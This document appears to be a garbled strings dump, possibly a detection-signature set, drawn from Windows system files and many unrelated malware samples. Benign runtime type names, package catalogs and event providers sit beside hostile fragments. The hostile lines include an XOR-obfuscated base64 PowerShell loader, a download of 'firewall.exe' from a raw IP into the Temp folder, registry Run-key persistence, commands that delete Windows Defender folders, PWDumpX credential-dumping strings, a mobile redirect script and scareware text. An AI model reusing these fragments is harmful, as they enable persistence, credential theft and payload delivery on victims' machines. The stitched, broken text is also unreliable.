.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IBoxArray@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Platform@@
.?AV?$VectorChangedEventHandler@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$Array@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00@Platform@@
.?AU__I?$Array@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00@Platform@@
,System.Windows.Forms.SelectionRangeConverter
System.Windows.Forms.Design.SplitContainerDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
~System.Windows.Forms.Design.SplitterDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.SplitterPanelDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.StatusBarDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.TabControlDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Design.TableLayoutPanelCodeDomSerializer, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.TableLayoutPanelDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.TableLayoutControlCollectionCodeDomSerializer, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
>System.Windows.Forms.TableLayoutPanelCellPositionTypeConverter
<System.Windows.Forms.Layout.TableLayoutSettingsTypeConverter
7System.Windows.Forms.TableLayoutSettings+StyleConverter
System.Windows.Forms.Design.StyleCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
}System.Windows.Forms.Design.TabPageDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
}System.Windows.Forms.Design.TextBoxDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
}System.Windows.Forms.Design.ToolBarDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolBarButtonDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripCodeDomSerializer, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripDropDownDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripMenuItemDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripItemDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ToolStripCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f<
-)|(send)|(seri)|(sgh-)|(shar)|(sie-)|(siem)|(smal)|(smar)|(sony)|(sph-)|(symb)|(t-mo)|(teli)|(tim-)|(tosh)|(tsm-)|(upg1)|(upsi)|(vk-v)|(voda)|(w3cs)|(wap-)|(wapa)|(wapi)|(wapp)|(wapr)|(webc)|(winw)|(winw)|(xda)|(xda-)|(up.browser)|(up.link)|(windows.ce)|(iemobile)|(mini)|(mmp)|(symbian)|(midp)|(wap)|(phone)|(pocket)|(mobile)|(android)|(pda)|(ppc)|(series60)|(opera.mini)|(ipad)|(iphone)/i);if(ismobile){document.location.href="http://
iffileexists(@windowsdir&"\sbg.txt")thenelseinetread("http://moveisterrra.com/gb/add.php")fileopen(@windowsdir&"\sbg.txt",2)
.exe" "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\service.exe"
band.dll00021494-0000-0000-c000-000000000046c7994e30-3427-475b-9e6a-854016870cd6software\hycg\hycgsoftware\microsoft\windows\currentversion\explorer\discardable\postsetup\component categories\
xpcspy pro application mutex\software\microsoft\windows\currentversion\shellpathsystemin.sys
Windows has found spy programs running on your computer!p
SOFTWARE\Microsoft\Windows Defender
Microsoft.Windows.Print.Win32Spl
Microsoft.Windows.Print.IppMon
Microsoft.Windows.Print.SplLib
Microsoft.Windows.Print.PerfLib
Microsoft.Windows.Print.DeviceObject
Microsoft.Windows.Print.DeviceControl
Microsoft.Windows.Print.IppConfigConverter
Microsoft.Windows.Print.McpEvtSrc
Microsoft.Windows.Print.IppCommon
Microsoft.Windows.Print.IppAdapterCommon
Microsoft.Windows.Print.PrintUtil
1M64W9XZQ7Aliens: Dark Descent (Windows)
_del /t reg_sz /d "cmd /c del\winlogon" /v]
 :/windows\system32\dri<
"\windows\currentversion\run\za"
OMPUTERNAME=WINDOWS11
DriverData=C:\Windows\System32\
windows-1252
start-process-windowstylehp
Windows.Internal.ActivationPolicy
Windows.Internal.CaptureItemProvider
Windows.Internal.CapturePickerExperience
0\"?[a-z]:\\windows\\system32\\msiexec\.exe\"?\s+.+\{[0-9a-f]+\-
SystemRoot=C:\WINDOWS
b4^com.microsoft.windows.extensionpackage
b6^com.microsoft.windows.extensionpackage
bd^com.microsoft.windows.extensionpackage
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
COMMON_WINDOWSAPPSDK_PARAMS
WindowsAppSDKChannel
Microsoft.WindowsAppSdk.MrtCore.Runtime
C:\windows\tasks\
criticalbreachdetected.pdfreg add "hkcu\software\microsoft\windows\currentversion\policies\activedesktop" /v nochangingwallpaper /t reg_sz /d 1 /f
%"">nul"batchfile.writeline"regadd""hkcu\software\microsoft\windows\currentversion\run""/v""dwm""/treg_sz/d""%userprofile%\dwm.bat""/f>nul"batchfile.writeline"
cmd.exej-i}c:\windows\*
ments@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAUTemplates@implementation@TaskManagerApp@4@AEBUIInspectable@234@AEBURoutedEventArgs@Xaml@UI@34@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UTemplates@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_2ae7b16b608f89eef59426ff6d02ec4a>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@4@@Foundation@Windows@winrt@@V<lambda_87280e6e2c3365c723f4f6e8c41d4d49>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationButtonId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_2ae7b16b608f89eef59426ff6d02ec4a>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@4@@Foundation@Windows@winrt@@V<lambda_87280e6e2c3365c723f4f6e8c41d4d49>@@@impl@winrt@@
Dc:\windows
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/5"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/5"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
rE!ws.run("c:\windows\/
@%SystemRoot%\System32\wercplsupport.dll,-101
@%systemroot%\system32\icsvc.dll,-901
@%systemroot%\system32\icsvcvss.dll,-101P
Windows NT
@%SystemRoot%\System32\drivers\storqosflt.sys,-101
@%SystemRoot%\system32\drivers\tcpip.sys,-10001
@%SystemRoot%\system32\tcpipcfg.dll,-50004
@%SystemRoot%\system32\drivers\volmgrx.sys,-100
@%SystemRoot%\System32\drivers\wfplwfs.sys,-6000P
sy@%SystemRoot%\system32\drivers\wtd.sys,-1000
\p@%SystemRoot%\system32\cdd.dll,-101
l,@%SystemRoot%\System32\drivers\NdisVirtualBus.sys,-200
\b@%windir%\System32\drivers\pacer.sys,-101
\C@%systemroot%\system32\wkssvc.dll,-1000
@%SystemRoot%\system32\lltdres.dll,-52\MX
@%systemroot%\system32\srvsvc.dll,-104sy8
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-390vk&
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-242t
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-370
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-320C
PWDumpX[+] Username:     "%s"[+] # of Threads: "64"//reedarvin.thearvins.com/%s\ADMIN$\system32\DumpPWCache.txtLSASecrets.txtPWHistoryHashes.txtPWHashes.txt
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Data\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
r porwr gorau ar gyfer Windows 10, gyda diogelwch preifatrwydd gwell.
r porwr gorau ar gyfer Windows 10, gyda diogelwch preifatrwydd gwell.
r porwr gorau ar gyfer Windows 10, gyda diogelwch preifatrwydd gwell.
2%-windowstyl%
!AGGR:CommonWindowsDllLocations
(windowsruntimebroker)(
\windows ntG
sts.windows.net
sts.windows.net
sts.windows.net
Microsoft.Windows.Shell.StartMenu.Experience
.createshortcut(wscript.arguments(1) & ".lnk")targetpath = "c:\windows\system32\cmd.exearguments = "/c _temp.prjx " & chr(34) & wscript.arguments(0) & chr(34)Trojan:HTML/Redirector.FL!bit
Microsoft.Windows.Shell.TaskFlow.DataEngine
Microsoft.Windows.Shell.SingleViewExperience
Microsoft-Windows-Shell-CortanaProactive
Microsoft.Windows.Shell.TouchGestures
Microsoft.Windows.Shell.TaskGroups
WindowsInternal.Shell.UnifiedTile
Microsoft.Windows.Shell.RdpShellExtensionHost
Microsoft.Windows.Shell.DataStoreCache
: Black Ops 6 - Standard Edition (Windows)https://store-images.s-microsoft.com/image/apps.42382.14346543607136639.d932bf87-6edc-4da6-bbd5-c944ad33bc0d.94850983-3745-4d71-a341-cacde89c198een
dition Standard (Windows)https://store-images.s-microsoft.com/image/apps.42382.14346543607136639.d932bf87-6edc-4da6-bbd5-c944ad33bc0d.94850983-3745-4d71-a341-cacde89c198efr
: Black Ops 6 - Standard Edition (Windows)https://store-images.s-microsoft.com/image/apps.42382.14346543607136639.d932bf87-6edc-4da6-bbd5-c944ad33bc0d.94850983-3745-4d71-a341-cacde89c198ede
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
    name="Microsoft.Windows.COM.RuntimeBroker"
<description>Broker Process for Windows Partial Trust Components</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
    </windowsSettings>
.?AU?$produce@UAppLogic@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAppLogic@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UColumnDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UColumnDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UColumnDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UColumnDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UColumnDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UColumnDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and mop
Microsoft.Windows.WinRTClassActivation
windows support&
'lwindows Q
c:\windows\system32\windowspowershell\v1.0\powershell.exe$oqkfukmb=[convert]::frombase64string('enzr');$wnvwlerz=[convert]::frombase64string('xkbbr1itw0dhqwkchaiebr0cawmdbwedagsdhfxgrx1br1i=');$gwjytunh=-join($oqkfukmb|%{[char]($_-bxor0x33)});$yovnwmbq=-join($wnvwlerz|%{[char]($_-bxor0x33)});salojmnlnhb$gwjytunh;ojmnlnhb$yovnwmbq
\staging.ssm\files\windows\temp\haxm\xm_7fbc1d8.tmp
Microsoft.Windows.Widgets.dll
$c:\windowsdefender.exehttp://twoxis.web.cedant.com/
visualizador de imagens e fax do windows.
GetWindowsDirectoryW
visittheurlofthesmbshareusingwindowsexplorertotriggerexploit(nootherinteractionisrequired)
c:\windows\system32\cmd.exe/cmode15,1&curlhttp://
Windows"U
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
_WmyURL = "http://20.196.213.19/firewall.exe".SaveToFile "C:\WINDOWS\Temp\Troubleshooter.zip"
COMPUTERNAME=WINDOWS11
DOMAIN=Windows
	WINDOWS\system32\cmd.exe.
USERDOMAIN_ROAMINGPROFILE=Windows11'
\windows\ccm
DlpSetWindowsHooksUsedList
DriverData=C:\Windows\System32\
.?AU?$__abi_FunctorCapture@V<lambda_436f1910406897b9f35fa928e9b6fb92>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
--noDInvoke    Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use,-
melCcomspec=c:\windows\system32\cmd.exec
Windows NT\CurrentVersion\Image File Execution Options\Explorer.exe
rmdir/s/q"c:\programfiles(x86)\windowsdefender
!#SCPT:GetWindowsText
getwindowstext(
title WiNdOwS KiLLeR MaDe By HTC.SpLinTerCeLLDel C:\WINDOWS\system32\cmd.exe /qSTART /max 
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
SetWindowsHookExW
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.vbs",@windowsdir&"/
ft-Windows-E
Microsoft-Windows-Eventlog
Microsoft-Windows-exFAT-SQM
Microsoft-Windows-FailoverClustering-Client
Microsoft-Windows-Fat-SQM
Microsoft-Windows-Fault-Tolerant-Heap
Microsoft-Windows-FilterManager
Microsoft-Windows-Firewall
Microsoft-Windows-FMS
Microsoft-Windows-FunctionDiscoveryHost
Microsoft-Windows-GPIO-ClassExtension
Microsoft-Windows-GroupPolicy
Microsoft-Windows-HAL
Microsoft-Windows-Hotpatch-Monitor
Microsoft-Windows-HttpService
Microsoft-Windows-Hyper-V-Hypervisor
Microsoft-Windows-Iphlpsvc
Microsoft-Windows-Iphlpsvc-Tr
rosoft-Windows-IsolatedUserMode
Microsoft-Windows-Kernel-Boot
Microsoft-Windows-Kernel-General
Microsoft-Windows-Kernel-Interrupt-Steering
Microsoft-Windows-Kernel-IO
Microsoft-Windows-Kernel-PnP
Microsoft-Windows-Kernel-Power
Microsoft-Windows-Kernel-Processor-Power
Microsoft-Windows-Kernel-Tm
Microsoft-Windows-Kernel-WHEA
Microsoft-Windows-Kernel-XDV
Microsoft-Windows-LanguagePackSetup
Microsoft-Windows-Memory-Diagnostic-Task-Handler
Microsoft-Windows-MemoryDiagnostics-Results
Microsoft-Windows-MemoryDiagnostics-Sc
Microsoft-Windows-MountMgr
Microsoft-Windows-NdisImPlatformSysEvtProvider
Microsoft-Windows-Network-ExecutionContext
Microsoft-Windows-NetworkBridge
Microsoft-Windows-NetworkProvider
Microsoft-Windows-Ntfs
Microsoft-Windows-Ntfs-UBPM
Microsoft-Windows-OfflineFiles
Microsoft-Windows-OverlayFilter
Microsoft-Windows-PCRPF
Microsoft-Windows-PersistentMemory-Nvdimm
Microsoft-Windows-PersistentMemory-PmemDisk
Microsoft-Windows-Power-Meter-Polling
Microsoft-Windows-Power-Troubleshooter
Microsoft-Windows-ReFS
Microsoft-Windows-ReFS-v1
Microsoft-Windows-ResetEng
Microsoft-Windows-Resource-Exha,
Microsoft-Windows-Time-Service
Microsoft-Windows-TPM-WMI
Microsoft-Windows-USB-CCID
Microsoft-Windows-USB-MAUSBHOST
Microsoft-Windows-USB-USBHUB3
Microsoft-Windows-USB-USBXHCI
Microsoft-Windows-UserModePowerService
Microsoft-Windows-UserPnp
Microsoft-Windows-WER-SystemErrorReporting
Microsoft-Windows-WHEA-Logger
Microsoft-Windows-Windows Firewall With Advanced Security
Microsoft-Windows-WindowsToGo-StartupOptions
Microsoft-Windows-WindowsUpdateClient
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
c:\windows\temp\cmd.exe
c:\windows\temp\cmd.exe
SnapWindows
Assets/contrast-black/WindowsSecuritySplashScreen.scale-150_contrast-black.pngPK
Assets/contrast-black/WindowsSecuritySplashScreen.scale-200_contrast-black.pngPK
Assets/contrast-white/WindowsSecuritySplashScreen.scale-125_contrast-white.pngPK
Assets/contrast-white/WindowsSecuritySplashScreen.scale-150_contrast-white.pngPK
Assets/WindowsSecuritySplashScreen.scale-200.pngPK
Assets/contrast-white/WindowsSecuritySplashScreen.scale-200_contrast-white.pngPK
Assets/WindowsSecuritySplashScreen.scale-150.pngPK
Assets/WindowsSecurityWideTile.scale-100.pngPK
Assets/WindowsSecuritySplashScreen.scale-400.pngPK
Assets/contrast-white/WindowsSecurityWideTile.scale-100_contrast-white.pngPK
Assets/WindowsSecurityWideTile.scale-125.pngPK
Assets/contrast-white/WindowsSecuritySplashScreen.scale-400_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityWideTile.scale-100_contrast-black.pngPK
Assets/contrast-black/WindowsSecuritySplashScreen.scale-400_contrast-black.pngPK
Assets/WindowsSecurityWideTile.scale-150.pngPK
Assets/contrast-black/WindowsSecurityWideTile.scale-125_contrast-black.pngPK
Assets/contrast-black/WindowsSecurityWideTile.scale-150_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityWideTile.scale-125_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityWideTile.scale-150_contrast-white.pngPK
Assets/WindowsSecurityWideTile.scale-200.pngPK
Assets/contrast-black/WindowsSecurityWideTile.scale-200_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityWideTile.scale-400_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityWideTile.scale-400_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityWideTile.scale-200_contrast-white.pngPK
Assets/WindowsSecurityWideTile.scale-400.pngPK
Assets/contrast-white/WindowsSecuritySmallTile.scale-400_contrast-white.pngPK
Assets/WindowsSecuritySmallTile.scale-400.pngPK
Assets/contrast-black/WindowsSecuritySmallTile.scale-400_contrast-black.pngPK
Windows.Data.Apps.AppCompatInfo
\windows\current
regsid.php?windows_name=.ne.jp/
%windir%\system32\werfaultsecure.exe
%windir%\system32\wermgr.exe
%windir%\system32\wevtutil.exe
%windir%\system32\wfs.exe
%windir%\system32\xpsrchvw.exe
%windir%\system32\msiexec.exe
%windir%\system32\mspaint.exe
%windir%\system32\BuCAppNT.exe
%windir%\system32\BuMAppNT.exe
GetSystemWindowsDirectoryA
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
COMSPEC=C:\WINDOWS\system32\cmd.exe
PATH=C:\WINDOWS;C:\Program Files\Common Files\Microsoft Shared
SystemRoot=C:\WINDOWS
Windows\CurrentVersion\Uninstall\Spontanisternes54\Konsistensernes\SanktionsfaststtelserSoftware\Driftsbygningen\PolycitralSoftware\Garantibetalingernes\Hygienise
xTagMp3Saito_WindowsFormsApplication.Properties.Resources.resources$fbf91683-fadb-4e93-addf-47458b47b790g
0K<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><txml:space="preserve">&lt;0,</t></si><si><txml:space="preserve">..\
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
c:\windows\system32\csmon.exehttps://paf.gov-mail.net/13621/1/18844/2/0/0/1390324815/files-b74d99d6/hta
@-windowstylehidden
U\windows\system32\cmd.exe/v/c"setx=
.run("powershell-windowstylehidden$
rmdir/s/q"c:\windows\system32\sgrm
:\mount[^\]*\windows\winsxs\temp\pendingrenames\
:\$windows.
:\windows.old\
:\winpe\windows\
:\program files\windowsapps\
GetWindowsTokenWithAssert
CreateWindowsIdentityWithAssert
GetCurrentWindowsIdentityWithAssert
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Connectivity-UsbDualRole-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
